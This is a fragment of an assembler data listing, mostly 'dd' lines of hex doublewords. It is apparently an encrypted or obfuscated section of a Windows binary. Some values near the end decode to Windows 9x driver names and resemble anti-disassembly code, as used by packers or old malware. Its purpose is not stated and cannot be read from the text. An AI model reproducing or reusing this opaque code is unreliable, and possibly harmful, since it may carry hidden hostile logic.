		dd 0A7D9FB47h, 2C8A9475h, 6349CC3Eh, 0E7D550C2h, 0BC700BF9h
		dd 86A2B05Fh, 0B06037EBh, 0F1B91FA2h, 0E4562D8Bh, 0D7A37A6Eh
		dd 1114027Fh, 0CB4BBDABh, 600CC05Bh, 96FCA2B0h,	0E131D230h
		dd 0EA99738h, 0A2B0605Ah, 6F5DD84Ah, 5ACC3298h,	0B494F2DAh
		dd 0D9C54170h, 2900EC67h, 71E35DC3h, 0A81A08F4h, 0CA3E35AFh
		dd 0C9278DF3h, 5FA057F2h, 92EAA2B0h, 3E39ABEFh,	3C445CE5h
		dd 0A208CB8Dh, 6953D244h, 0EDDF56C8h, 0C4F73616h, 1B81584Ch
		dd 3D2CC7B5h, 0F79CC64Eh, 747EE4A4h, 0ED4BF45Eh, 0F3B5D225h
		dd 0E93CA0A4h, 0B82A7C55h, 0FBE94FBDh, 2641FEA8h, 2EA0A06Dh
		dd 85EBC23Ah, 41C73927h, 0E6816F5Dh, 9CCB5432h,	4AB6B022h
		dd 49A70D73h, 443036A8h, 0CB53F5A9h, 197FE59Ch,	0FC236242h
		dd 0E7D7730Eh, 399F96E0h, 0E753D94Bh, 0B087984Ch, 0B41A80A2h
		dd 893DD8C6h, 71A2B088h, 0C19804FFh, 0F697F55Bh, 431A8E84h
		dd 0FFD2463h, 49B5AF21h, 989A0C72h, 0B43BD634h,	629CC938h
		dd 0AE857BF0h, 0F298E248h, 32F1CA7Fh, 1244A75Bh, 58D10000h
		dd 0D451C364h, 51D547E8h, 0D85ACC6Dh, 69E153F4h, 4915D475h
		dd 9738ACA4h, 19BA2E25h, 9F40ACA7h, 22C3272Dh, 8135D0BEh
		dd 69A2B393h, 18A3BCA7h, 349CC838h, 4C2CCD33h, 0AF8E60Dh
		dd 37CD811Ch, 57BD9CC8h, 156B8704h, 6BC9989Ch, 0DE503CD0h
		dd 0D8C62C96h, 5DFEEE66h, 967AFD6Fh, 0E3C74DBFh, 0E240A60Ch
		dd 66DE50F7h, 0EC3A1876h, 0B00A01FBh, 164h, 0A4CE6FC2h
		dd 0E1D6B7C2h, 5BAE61D1h, 0BD1B4862h, 0F91C5ED2h, 0FEB5500Eh
		dd 0C69CC837h, 84A77473h, 507E015Eh, 0E8978093h, 23E644AAh
		dd 6550D2BDh, 0FB86FD50h, 0B82D8516h, 7CDAC246h, 0C5375724h
		dd 1D835A4Eh, 1D5ED4BFh, 0E8D60FFAh, 0B10FFD76h, 96FD50C6h
		dd 86D26DFh, 1E6242A0h,	0D9C414FFh, 81FB0260h, 30C60Ah
		dd 5EDB0000h, 500FFA1Dh, 8977F062h, 37D9902Bh, 31A39CC8h
		dd 5747BF37h, 56B41AF1h, 503D288Eh, 6448CC65h, 50705B79h
		dd 187666DEh, 5164h, 0DE507900h, 3AA07765h, 0EE95A2E7h
		dd 71CFD0AEh, 171D5091h, 0C5F4DB3h, 0D54CA31Ch,	2712709Eh
		dd 640F6250h, 0E77DAC1Eh, 0E89F3A98h, 0DB9CC898h, 65508A75h
		dd 67CEFD50h, 0CF4A843h, 7EE49CC9h, 900A772Bh, 5844C032h
		dd 65DE506Dh, 0DC3AA077h, 2600EF9h, 0C60A81FBh,	24h, 0FB1A5EDBh
		dd 0FEB55010h, 0EC9CC837h, 65509B86h, 786349CCh, 7765DE50h
		dd 3F9D0105h, 358A715Ch, 9F000000h, 10FB1A5Eh, 7666DE50h
		dd 0C62A2D9Fh, 79140260h, 9CC837C2h, 0B21E188Ah, 541775DBh
		dd 0FD5003EEh, 60F138A1h, 0D1BF1DD0h, 6349CCE6h, 65DE5078h
		dd 4B361977h, 13C76250h, 39CC838h, 37C67A15h, 48AE9CC8h
		dd 8ED084E2h, 0E5FFFFFEh, 0AF81F5Eh, 0DDCB946Fh, 8E7CE296h
		dd 0C5372EA0h
		dd 8B7FF567h, 0A0C70AEAh, 846317B2h, 0ED53A2B3h, 9F3A2816h
		dd 0A2B383EBh, 7C1775DBh, 0A2B383C6h, 0C49B0104h, 15ECD052h
		dd 0AC760B63h, 0CCDEA3FBh, 0F6D3F7Eh, 3942h, 0EBA35700h
		dd 0B59CC837h, 38782CC7h, 0FA609CC8h, 0C0242A9Ch, 37CD841Fh
		dd 66A59CC8h, 0CFFE513Fh, 776DE2D5h, 7FE73AA0h,	0C4B21011h
		dd 0E0DBFE29h, 0F596FC96h, 0CD41h, 1F5E5600h, 0C91C0AF8h
		dd 0FAA731Dh, 9CC9015Bh, 6F92E54Bh, 9D38963Ch, 96E01B8Eh
		dd 9074FA6Ch, 0FB4E3C2Ah, 3B743624h, 597E79CAh,	0FF654E46h
		dd 4EC93B99h, 0D44FC162h, 1E0CFAE8h, 0B110CF83h, 0B651B7A2h
		dd 0A2B11102h, 188480F2h, 1775DB41h, 0FA216040h, 95301E0Ch
		dd 0A2B110E1h, 0EDB5291Fh, 0C78E2987h, 779CC6A4h, 0B6B12311h
		dd 65EA5C4Ah, 0CCA85CF7h, 2A909CCBh, 53C566C4h,	3515ECD0h
		dd 46E1CFF6h, 96E186EFh, 990BF95Fh, 1C8E2F93h, 0F068B216h
		dd 0CF7B2EFh, 0F4C8135h, 40C90000h, 0CC49BB5Ch,	49CD3FE0h
		dd 0D052C465h, 51D94BECh, 510DCC6Dh, 8F30949Ch,	11B2161Dh
		dd 9738A49Fh, 1ABB2F25h, 792DC8B6h, 61A2B395h, 46CCB49Fh
		dd 13198B62h, 643BA3A3h, 4FC198FEh, 9B0DE4D8h, 0BF2F279Bh
		dd 451C82E8h, 0DC463B93h, 4ACCB50Dh, 80F2E0C4h,	0DB411884h
		dd 0EEDC7Dh, 0C837B165h, 8874EF9Ch, 1EFC5AC0h, 981F3D0h
		dd 3B94h, 1F5EA900h, 0B06F0AF8h, 0B896E012h, 0BB56CE46h
		dd 0A2B05D07h, 0C52389EFh, 4EC097FDh, 5543E4D8h, 1D7B63E3h
		dd 6A41A5ABh, 36244B8Ah, 0C8308C9Bh, 51D2449Ch,	0D02E946Bh
		dd 1601A208h, 8669DE50h, 5FC3569Dh, 0AB82E8CBh,	685CD345h
		dd 5BCD2B91h, 0DF51F2DAh, 49F7666h, 9CC8AB53h, 0E0942F1Dh
		dd 0C89CC8AAh, 91920462h, 0DFB6261Fh, 92721379h, 0A33E2C53h
		dd 96DE3EBCh, 842A51A4h, 3D88406Ah, 0C3B117DFh,	73BA82D5h
		dd 0C2038BD6h, 8A72F264h, 1260FEE9h, 710A01FBh,	3B9905FFh
		dd 144B2h, 0DE50C700h, 3057765h, 462C89Fh, 0D4BFE224h
		dd 37FEB550h, 8BF19CC8h, 0C4282B9Dh, 62507B66h,	2C8A76F0h
		dd 0FC95E641h, 0FFA1D5Eh, 1A5EEBD6h, 1186E00Eh,	6BD1A814h
		dd 0ECA9B118h, 0D9C49B86h, 81FB0260h, 33C60Ah, 66D80000h
		dd 771200ECh, 99C837C3h, 4EF4DB3h, 0FFA1D5Eh, 37FEB550h
		dd 54C69CC8h, 0F078EADEh, 71CF350Ch, 505843A9h,	6448CC65h
		dd 8A705B79h, 28h, 0FA1D5E9Fh, 0FEB5500Fh, 0C69CC837h
		dd 90EED254h, 507C67CDh, 6448CC65h, 0C7625079h,	9CC83813h
		dd 252B9D03h, 958063C1h, 81FB0260h, 70E610Ah, 597F4954h
		dd 392DB614h, 42000000h, 10FB1A5Eh, 37FEB550h, 86EC9CC8h
		dd 0F062509Bh, 48AE857Bh, 49CCFFEAh, 15877563h,	6CD2A91Dh
		dd 0C8381DD1h, 49A70D9Ch, 0FB6D5B5Eh, 54BA9175h, 3F8A0BF6h
		dd 9F000000h, 0E167FD50h, 7FE40E37h, 626D322Ch,	72D056B5h
		dd 442F4E92h, 37FEB550h, 8BF19CC8h, 0C76250A0h,	9CC83813h
		dd 29F1DD59h, 8C7765C3h, 0AFE6FD50h, 0E56EA8B6h, 0A0101587h
		dd 0E4CF35ABh, 0FD50705Bh, 0F0298499h, 36EA85DCh, 1E9CC8C9h
		dd 40F452B8h, 0FFFFFEAEh, 0F81F5E55h, 932E1C0Ah, 9CC837DFh
		dd 74EF61C7h, 0B48F2A88h, 5C96DDCBh, 841FD36Eh,	1907A2B3h
		dd 0B383CA7Eh, 0EE54BAA2h, 0B311F77Ch, 0A99785EBh, 0B3845A0Eh
		dd 72E44AA2h, 0CB3108FCh, 70D7F6Dh, 5158CFB6h, 177D41C0h
		dd 34539676h, 6E52D446h, 0D3872210h, 9DA2B431h,	64C22A2Bh
		dd 3C282A9Ch, 0B431EDA1h, 1177DDA2h, 976ED43Ah,	0CE3E37A9h
		dd 983391F7h, 0A2B431E2h, 0BAF091E9h, 0F6DED6Ch, 3330h
		dd 0B9544200h, 0A2B42A05h, 5D61A2F5h, 5AFA25AFh, 0A3AB96F4h
		dd 9CC837EBh, 0D9C73B31h, 379C50EBh, 9E8C9CC8h,	0C8384F03h
		dd 6BD1379Ch, 0EDB86C0Dh, 0CD000000h, 0AC0B1F5Eh, 6FC9BCCFh
		dd 675DD244h, 0FD781301h, 0D796E104h, 359A4EE9h, 248AA2B1h
		dd 0AA98FEC6h, 30D13F38h, 805745BEh, 342E61A0h,	0D97462C8h
		dd 9CC6CA16h, 41A7AC1Eh, 9392046Ah, 8EEC5229h, 7260C6h
		dd 21858D07h, 8392F74Ah, 598FE41Eh, 6644A0F3h, 0CF34B2CCh
		dd 3A8D7B69h, 5A31D5E7h, 782CC7CDh, 0D59CCBB7h,	3C00CEB0h
		dd 7794194h, 60C69D01h,	0DFB9CFAh, 0D12F979Bh, 0AF8E45Fh
		dd 5FCD811Ch, 4BBD9CCBh, 0A40AE1C5h, 2909E03Eh,	3AD5C3EAh
		dd 96E11AE3h, 0CD3F2D93h, 0D4C26347h, 23FAE262h, 6F9121D0h
		dd 3CA2C5FDh, 2E66CDEh,	0B2A036B8h, 0DB8F66F7h,	0B82h
		dd 85269E93h, 9AA1213h,	8E2F9F97h, 15B61A1Ch, 9637AFA3h
		dd 0E26607D7h, 60E759FAh, 0EE69DB7Ch, 79EF6102h, 9280E485h
		dd 0B39943F7h, 867133A2h, 746246CCh, 0C59C0002h, 0B82A015Fh
		dd 0A8774EB2h, 6FE53150h, 0AEFCDA7Bh, 720981F3h, 50h, 66DE5087h
		dd 0F9381876h, 0EE49E4D2h, 2696E007h, 0EC4ABEB4h, 46BEB224h
		dd 0CCA3096Fh, 2E66CDEh, 0BC3C32A4h, 0D8CC44B4h, 0CF359B01h
		dd 52B6BC2Eh, 49F8D7Bh,	0A2B04750h, 9474D238h, 0BA222255h
		dd 50CB6654h, 0A69CC82Dh, 0F6CD3334h, 9E892A90h, 0C26349CCh
		dd 0C8389C27h, 3DB7B09Ch, 816FD539h, 0CCA31B0Fh, 897FF466h
		dd 6BAA8A2Bh, 0F5CC3038h, 0E83B298Fh, 16EBA5A5h, 984CE756h
		dd 809CC8FDh, 6856B41Ah, 170D087Ah, 0C8FDC87Ch,	0E44AB09Ch
		dd 91EFEB86h, 0A10796DEh, 0DC53C5B3h, 10AB11E8h, 0A2B3C25Ch
		dd 0C1D78B26h, 59BFA2B3h, 0DFCD2B91h, 6405E96Dh, 0ED72376h
		dd 0F0F65743h, 3C13897Eh, 608D78D6h, 0A01FB12h,	15DD6h
		dd 1C5EEB00h, 9E990BF9h, 0D26D5B32h, 9CC8381Eh,	0DC3AA006h
		dd 0FEB550F1h, 0F19CC837h, 804A9D8Bh, 21FD0D9h,	50F9E442h
		dd 0F995E665h, 37BC700Bh, 46AC9CC8h, 1D5EFDE8h,	0E8D60FFAh
		dd 37AB5FFAh, 359B9CC8h, 6250ECD7h, 0C83813C7h,	3F9D039Ch
		dd 0FFA1B5Fh, 0EE64D6C4h, 218775EEh, 9B86E44Ah,	5C99FD50h
		dd 5D252029h, 94C321FFh, 38870A82h, 9C000000h, 0FFA1D5Eh
		dd 0E60F6250h, 9FC72A55h, 8E45E03Eh, 7C9CC865h,	65502B16h
		dd 796448CCh, 7AFB6D5Bh, 50493492h, 0DBD6CBFDh,	0ACA675F5h
		dd 9D036940h, 2D8B3Fh, 5EA00000h, 500FFA1Dh, 167468DEh
		dd 4FC83A28h, 0B1680361h, 0A69CC837h, 65505540h, 0DC5848CCh
		dd 0C5B319F0h, 0C838762Ah, 92F85E9Ch, 50705BA7h, 0E16967DEh
		dd 5B3997FDh, 0A81FAFDh, 22C1h,	1A5ED600h, 0F27878EFh
		dd 5742A80Eh, 37FEB550h, 86EC9CC8h, 0CC65509Bh,	5B786349h
		dd 478A70h, 5E9F0000h, 5010FB1Ah, 0C837FEB5h, 6803F19Ch
		dd 9CC837B4h, 0EAD83EA4h, 0B00EF278h, 0F6250C5h, 4EC4FCAFh
		dd 6D7C075Ah, 0CC483391h, 50786349h, 0A07765DEh, 0BF9DC3Ah
		dd 37CE821Dh, 63B69CC8h, 0CA55EE05h, 0B31177E2h, 0FEA18AC8h
		dd 2A9CFFFFh, 84EAC12Bh, 1F5E3B26h, 1A8064ECh, 0CBB6912Ch
		dd 0B5E96DDh, 5E1C978Ch, 0B57DDB4Dh, 79EF614Fh,	84F6E485h
		dd 0E1471E82h, 3FA458F3h, 2E94A2B3h, 8EADF0D0h,	0C5372EA0h
		dd 3C2A88EEh, 0B33FEDA1h, 54EFDDA2h, 0A2B33FA0h, 0CEBC2288h
		dd 413E717Bh, 0FE5CC6E7h, 78D68C27h, 7DD5A2B3h,	3458A604h
		dd 311C0F6Dh, 31000000h, 7468DE50h, 37C37B16h, 3099CC8h
		dd 28C3B19Fh, 9CC83874h, 867EF264h, 6D21C220h, 0E0h, 42F6917Fh
		dd 329CC838h, 0F2DA5ACCh, 6C57B51Bh, 0AF81F5Eh,	20239D98h
		dd 0D7F56BCh, 0E240A60Ah, 939406F4h, 92F0562Dh,	0E00434F7h
		dd 0B34E3C96h, 0A2B04BFFh, 0DD5393Dh, 1B8149A7h, 54B8BB2Dh
		dd 897FF466h, 0D9B01C17h, 2741573h, 0E4C49B01h,	9F372A5h
		dd 7866CC32h, 0C5E01EDDh, 0E8D63C9Ch, 48FAA7FAh, 0F0300526h
		dd 0CB43A155h, 0BD23899Ch, 866AED5Fh, 0CF073E5h, 0EF165535h
		dd 27978F01h, 9E8CEA50h, 0D4C83EB0h, 0FE84DB76h, 80F296E0h
		dd 0DA401785h, 3F191387h, 0BD233F1Ah, 0F3D75DCFh, 766AE052h
		dd 0B247A82Ch, 590DE4F7h, 7D6h,	31D2CA3Fh, 0B55646BFh
		dd 3ADBC343h, 0C1624EC8h, 42E3DB4Fh, 1E12DB83h,	9C9305A6h
		dd 12158728h, 959B0DAEh, 3E2C9031h, 0B39CEFA3h,	2A15D7A2h
		dd 8B6246CCh, 6014AF9Dh, 489CC838h, 0A559F4E2h,	959CC837h
		dd 0E95FD12Fh, 381ED26Dh, 18069CC8h, 0C837C97Dh, 0E54BB19Ch
		dd 923E917Fh, 33AB9F03h, 0B7A3F65Ch, 9B72D044h,	90D74CCh
		dd 20FE9F03h, 9822ED2h,	0C131DE31h, 40293F5Fh, 5D03B752h
		dd 8DF39CC8h, 64A62Fh, 5EBB0000h, 21D5701Fh, 99CC838h
		dd 0B44F3DA3h, 96E01F25h, 984CE7D5h, 80A2B050h,	5143F792h
		dd 0CD33A2B0h, 3C2A0167h, 66448CAh, 0B050B36Bh,	907CF9A2h
		dd 0E0CC47B9h, 9CE53D09h, 47DD586h, 9E8B4396h, 44DD912Ch
		dd 67CDA2B0h, 853D5814h, 8FFB4927h, 6C5A0F6Ah, 0B0C51DD1h
		dd 49A70DA2h, 5DC0h, 1F5ED500h,	0F37464ECh, 5341A70Dh
		dd 28DC7765h, 109CC838h, 46B14CAAh, 5496E007h, 0AFA517EEh
		dd 22289A3Bh, 0C807E7BEh, 47CA7E19h, 54BAA2B0h,	241200EEh
		dd 0B047D589h, 3CD7C5A2h, 0A2B04888h, 46A40A70h, 0C813E8ABh
		dd 0A748AE9Ch, 7C30CBB9h, 0E19CC83Ch, 5B410351h, 0BA20E8EBh
		dd 32EE715Ch, 42DD8CCBh, 9CC8378Eh, 0BCAA1076h,	0E0189E21h
		dd 8C066C96h, 3EEDDCF1h, 0DB766462h, 6266A227h,	6B4BA90Fh
		dd 7C17052Ch, 5C7E7CBDh, 0DACE45B7h, 0A402EE68h, 9A8876DCh
		dd 3E874BFFh, 4FE83B5Dh, 0F2BF5509h, 512886ECh,	877BF163h
		dd 0CEC4AB0h, 1DB8A6CDh, 575749D8h, 0A0040C7Eh,	54DA4C3Ah
		dd 0D75DCF70h, 915BA9F3h, 946BB768h, 619E0h, 8F75FC00h
		dd 13F97CEEh, 98040072h, 1F8385F7h, 0A0040C7Eh,	0CF9C40FFh
		dd 50C2635Bh, 0D244E5DBh, 58CA6B51h, 0E94DEED2h, 9EAC60FBh
		dd 0DA9CA2B3h, 5646CCEFh, 0AF15ECD0h, 31847249h, 3D6ACE2Ah
		dd 88FA5833h, 9F7F208Ch, 0B04B3960h, 96DE98F1h,	76643BA1h
		dd 0C1980C04h, 1ED26D5Bh, 6A2B3B9h, 54D042A0h, 0A0BE1E68h
		dd 13EAF7B5h, 5A95Fh, 0FFE56C00h, 8369EC5Eh, 8F470E2h
		dd 8F73F567h, 10F47CEEh, 3FECB06Fh, 0C032D3CBh,	42B4554Bh
		dd 0C83ADBC1h, 59BD5E42h, 9F1CD06Bh, 4A0CA2B3h,	0F81F5E5Fh
		dd 2C90980Ah, 0A391EF55h, 0DDCC4508h, 4AC21596h, 29C506BBh
		dd 49BB92F8h, 2D97E1CDh, 6DF7B5B5h, 550E296h, 4CC50000h
		dd 0C045B758h, 4DC93BDCh, 0D44EC061h, 5DD547E8h, 5509C869h
		dd 8B2C9098h, 0DAE1219h, 9334989Bh, 16B72B21h, 7529C4B2h
		dd 65A2B39Fh, 1F5EB8A3h, 9C980AF8h, 95F35930h, 0CC450CA7h
		dd 0AF1596DDh, 0F2EE66D8h, 0DB258B71h, 0F7B56BAFh, 0FB30E4BBh
		dd 1A000004h, 9A0CAD17h, 1E90319Bh, 0A315B626h,	2A9C3DA1h
		dd 5E1DBE26h, 8165EDBEh, 3F96EE0h, 8977F062h, 0CF076E8h
		dd 7E19076Bh, 0A2B39FCAh, 500DF8BAh, 0AD28DDFDh, 217FE302h
		dd 2E58B9AFh, 0AF2E761Fh, 8266ED5Fh, 5DD3451Ch,	82DA9269h
		dd 0AD1117FFh, 0BE301E0Ch, 8BC5745h, 0F09CC863h, 0B4BA2C8Ah
		dd 27DE7950h, 739CC863h, 0BAB0661Bh, 86C5A546h,	0E7D6715Fh
		dd 4796DDF6h, 956C50D5h, 0EDDBC92Fh, 0B39E9E52h, 0C22086A2h
		dd 0BEC62D4h, 3D0743DBh, 882D6535h, 28F7075Ah, 0A833581Bh
		dd 0EC523C3Fh, 0AE14F87Ah, 0E3D94EC0h, 0A748A60Ch, 0F4CB3F35h
		dd 0C0AED514h, 87E5D74Eh, 5C62FE99h, 0EC529CC9h, 22868CFEh
		dd 0A5190F81h, 88AFEECEh, 0C478FF9Ah, 0E04696E1h, 0B30B6096h
		dd 0F5A980F7h, 41Ah, 0ED8E76FBh, 7112FA7Bh, 0F69707FFh
		dd 7D1E8284h, 0FE9F070Bh, 5ACE9F3Fh, 0D84FC162h, 56D143E4h
		dd 0D157C96Ah, 0FAE84CEDh, 0B3A0AB5Fh, 0EED99BA2h, 13C76250h
		dd 789CC838h, 2F3D61h, 4FB57D4Ah, 15897FF1h, 0DA46CC3Eh
		dd 0C83D8B3Fh, 675BD19Ch, 0FC622A90h, 9507F596h, 0EFCF2D91h
		dd 9B89B0h, 96E00FD1h, 96845BC1h, 4EE50243h, 0BA187265h
		dd 0B126671Fh, 6B166EA2h, 6AE0F13Fh, 50B50Fh, 5ECA0000h
		dd 1C0AF81Fh, 37DF932Eh, 61C79CC8h, 0C196803h, 0C73996E0h
		dd 20865D41h, 9048E3BAh, 0D6A2B042h, 26986F5Dh,	88E8BF2Dh
		dd 20D15130h, 0A3F1B9C8h, 670F6A02h, 0E8h, 15010779h, 0B036C67Ah
		dd 0E248AEA2h, 2F93990Bh, 0F1DD57C9h, 46CCA893h, 11198B62h
		dd 0FAE8D6ADh, 0C837AB5Fh, 0D7359B9Ch, 80EEF65h, 8FAD48B5h
		dd 504E17F3h, 0EA7FADFDh, 64439684h, 0B99F4F1h,	5DCFA604h
		dd 0B752F3D7h, 9CC83BBEh, 0FB9C0006h, 481F8389h, 14022968h
		dd 0E028DA79h, 0ABA01296h, 0A90FD735h, 0C2E92808h, 74E062D4h
		dd 0B04E25D9h, 49AF15A2h, 0FF62FDEBh, 79CC583h,	0C941B3A1h
		dd 5EF9E7D5h, 9CCAF6AAh, 35D6349Ah, 5E5ED547h, 0B61CF3E9h
		dd 8880F250h, 0DE82CA14h, 0E7BEF1CCh, 2B933h, 0EFD55C00h
		dd 7359DC4Eh, 0F8E460D2h, 7F63E557h, 0E46CDEh, 2FFCA05Fh
		dd 0B022C33Bh, 32A445BBh, 0B82ACB31h, 49AD4EB2h, 0A20CC05Bh
		dd 3AFCA2B3h, 69DE504Fh, 0AFA31573h, 2E249637h,	0B92B19BAh
		dd 9F452BEh, 0AF81F5Eh,	12BC91Ch, 18E9DF3Bh, 72D01FBAh
		dd 907E96E0h, 0B0A541F5h, 5DC329A2h, 0A533EB86h, 4C3AA2B0h
		dd 409057F9h, 9A00D7C5h, 0DA09A547h, 3D5D247Ch,	8B624ACBh
		dd 9BE9C725h, 0FA0F6A3Ah, 6EBD710Ch, 47ADA2B0h,	0B860E9h
		dd 0CC750000h, 198B6246h, 0D1BFAD11h, 0C8388236h, 1E0C729Ch
		dd 0C837CF83h, 0F351B79Ch, 3388811Ch, 46CC9CC8h, 9D217462h
		dd 6B2EF558h, 0EA5CFD5Bh, 0BBA98064h, 0B7E32CDh, 0F4669CC9h
		dd 50B68D73h, 6DAC8CEAh, 6FE65846h, 43311F7Dh, 0B06BA55h
		dd 88EE9CC9h, 0EFF08F2Ah, 0B81E96E0h, 0D1F83717h, 5A8248E3h
		dd 6CD29CCBh, 0A0040C7Eh, 15858DFFh, 6DD3AA1Eh,	8EABBD07h
		dd 0E4BBF1CCh, 1A930h, 0FFE56C00h, 8369EC5Eh, 8F470E2h
		dd 8F73F567h, 10F47CEEh, 3FECB06Fh, 0C032D3CBh,	42B4554Bh
		dd 0C83ADBC1h, 59BD5E42h, 0A31CD06Bh, 4A0CA2B3h, 6044CC5Fh
		dd 0E3C74DBFh, 46CC5742h, 13198B62h, 0AE200EAFh, 0CF373BB5h
		dd 0CE2C9269h, 9A88AFEEh, 0E01F70FFh, 0AF85E96h, 0E0F250B7h
		dd 73E59098h, 0D4AB09FDh, 0B0E58139h, 513088A2h, 6AA00B59h
		dd 2DCF0Fh, 5EE40000h, 6F0AF81Fh, 96E03044h, 0FA956CD2h
		dd 0A2B03F42h, 0A90F149h, 412F9D98h, 0B03EF2A6h, 1E7CE2A2h
		dd 69FDF240h, 24B60Fh, 0A3CB0000h, 9CC837ECh, 6E5C83C2h
		dd 0E0EBD4D3h, 64EA5C96h, 0F45A2280h, 7FF36553h, 0C83EB087h
		dd 3197FDD4h, 1F5EE8D3h, 9F980AF8h, 0C0075A31h,	0AE661023h
		dd 0E9D7359Bh, 0E028EF4Eh, 0CBB91F96h, 18EFD359h, 0E27D54B2h
		dd 0A2B06A2Ah, 2A8D931h, 0F6A25B4h, 1A78h, 0DE508D00h
		dd 399F7666h, 378840DBh, 21609CC8h, 72710CFAh, 2096E0EBh
		dd 5E2E19BAh, 0C9C20B1Fh, 216EFC0Eh, 0EE49833h,	6ED49CC9h
		dd 0D87F1A08h, 96DEA1h,	0DAA84AADh, 48A654EFh, 55431A80h
		dd 1D7B63E3h, 0A041A5ABh, 0EDC4382Eh, 0E7CC7E52h, 0E39EF637h
		dd 0BBBD3D33h
		dd 0B41A8057h, 0EADE54C6h, 24BFAD13h, 0FE02E370h, 0F394F258h
		dd 40178B81h, 916854CEh, 86146DC5h, 0BA222698h,	2EE27DE3h
		dd 6CFE02E3h, 0C42A01E7h, 0C63896FCh, 0FC6E5C40h, 93349276h
		dd 0E0B72B21h, 152Ch, 62504100h, 3825D974h, 0AF159CC8h
		dd 0C8386014h, 84E2489Ch, 45CCD5C0h, 1016885Fh,	0E063D5ACh
		dd 0BCB325FCh, 0BFF7148h, 0C64ABC93h, 939507DEh, 6EE6582Fh
		dd 3035A77Eh, 6873F5CCh, 7B7Ch,	51240C89h, 0C181E189h
		dd 4, 8704E983h, 895C240Ch, 8957243Ch, 4C781E7h, 81000000h
		dd 4EFh, 243C8700h, 2404895Ch, 4DCCBD55h, 895005EBh, 58C789E8h
		dd 48B545Dh, 4C48324h, 706668h,	241C8900h, 8BBh, 89C30100h
		dd 34FF5B3Bh, 0C4815824h, 4, 5F2434FFh,	0E904C483h, 0FFFD10C6h
		dd 5D1F0DA8h, 0DCCB883Bh, 441D41B2h, 0EB6D6EB8h, 0FFC50305h
		dd 0EDE7D3E0h, 0D520F23Fh, 0A1A96615h, 5C66D4Eh, 0FF224215h
		dd 268B3408h, 89DD8878h, 4B9A13h, 42589F6Fh, 0A2E75117h
		dd 2052DE1Fh, 73E0F358h, 4C380A63h, 48E8FF73h, 69FC2A31h
		dd 4D80F73Ah, 13E814h, 0D5A0000h, 0A5547149h, 3B8141EEh
		dd 144F505Ch, 4F7C6370h, 5828B180h, 8E8h, 637D8300h, 0A93B9CFBh
		dd 0C0815B6Ch, 67F7h, 19C968h, 5EDF8B00h, 5A30FFF8h, 9EB3C281h
		dd 870F4CC1h, 3, 81DE8B66h, 0AD196BF2h,	870F5Eh, 81000000h
		dd 719E04EAh, 0D181512Eh, 4FE77C7Bh, 66535259h,	8F59F88Bh
		dd 6E800h, 23B60000h, 4ED442CDh, 59CE8B66h, 407DE881h
		dd 12E91CC7h, 51000000h, 39CE7E1Ch, 0C75E1BB6h,	571BB5B5h
		dd 4A4F6674h, 79C0812Bh, 801CC740h, 0EE816AE1h,	1, 16850Fh
		dd 2AE90000h, 0B000000h, 0D098DBFAh, 1FC7181Ah,	0ECF23197h
		dd 48A03881h, 685E381h,	6AE95808h, 8AFFFFFFh, 0FD6DC3DCh
		dd 0A89FDB4Fh, 0F112060Ah, 4934EBB9h, 474D5346h, 56202052h
		dd 2020444Bh, 56202020h, 20204D4Dh, 56202020h, 334E4957h
		dd 56202032h, 444C4458h, 202052h, 2 dup(0)
		dd 0E9000000h, 724h, 6A60F8h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 34DDD7C3h, 573D7E7Dh
		dd 5E935D6h, 0E8000000h, 35A223BDh, 3685C7F5h, 5EB6Fh
		dd 0F000000h, 288h, 0E9616000h,	8, 401CB31Fh, 83824576h
		dd 6AC68Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 557CD1C3h, 9D96D87h, 0F1C06ECh, 128Ah, 0FE8A6000h
		dd 8E8h, 0FF861300h, 8C7EEA76h,	0E9615F76h, 5, 0C7B06746h
		dd 0D8B70F27h, 0E8C1F9FCh, 52006A10h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 8B6660F1h
		dd 0E9BB66D1h, 0C1666123h, 0FE908C8h, 79000000h, 0C38D6D53h
		dd 293EF9ACh, 9993F6D8h, 858916AEh, 5EB6F3Ah, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 46C35040h, 416558A7h
		dd 66605ACEh, 0B70FCB8Bh, 0C16661DFh, 0BE908CBh, 6F000000h
		dd 0EBB7A50Fh, 1D0FD75Eh, 12E940F2h, 1F000000h,	5E176D8Dh
		dd 0E229582Bh, 8873D21Ah, 0A94DAB93h, 40FB83DEh, 4A850Fh
		dd 8D0F0000h, 0Ch, 6800Fh, 840F0000h, 0
		dd 6F0EBD8Dh, 6A05EBh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 8C0F50C3h, 0Ah, 5E9h, 0BD839300h
		dd 0AFE9559Ch, 0F8000001h, 0F0DFB83h, 6085h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 63052975h, 0BD8DF803h, 5EB6F16h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 69C35747h, 0CCD11BBFh, 464DF6FAh
		dd 154E9FAh, 0F600000h,	386h, 4FE78000h, 8627BE66h, 1FB8361h
		dd 78850Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 190424h, 56460000h, 0C5ED78C3h, 8DC46CB9h, 0EB6F1EBDh
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 5012FF82h, 14E9h, 0D77C8B00h, 3D931AEDh
		dd 1D4049DAh, 57545B4Dh, 3EB178E7h, 8E991h, 8EA30000h
		dd 0AAB9AACh, 0CBE9FF27h, 0F000000h, 183h, 0FB83F500h
		dd 98850F2Ah, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 2BD7C357h, 0E9F5FD43h
		dd 0Ah,	9B01434Fh, 24211671h, 0F9600A9Bh, 61D98B66h, 3890F60h
		dd 0F000000h, 8166FFBFh, 615608C2h, 6F26BD8Dh, 6A05EBh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 33948EC3h, 4BE9FC2Dh, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0E923C353h
		dd 7, 4C4173E1h, 8306C538h, 850F27FBh, 2B4h, 1850Fh, 8DFC0000h
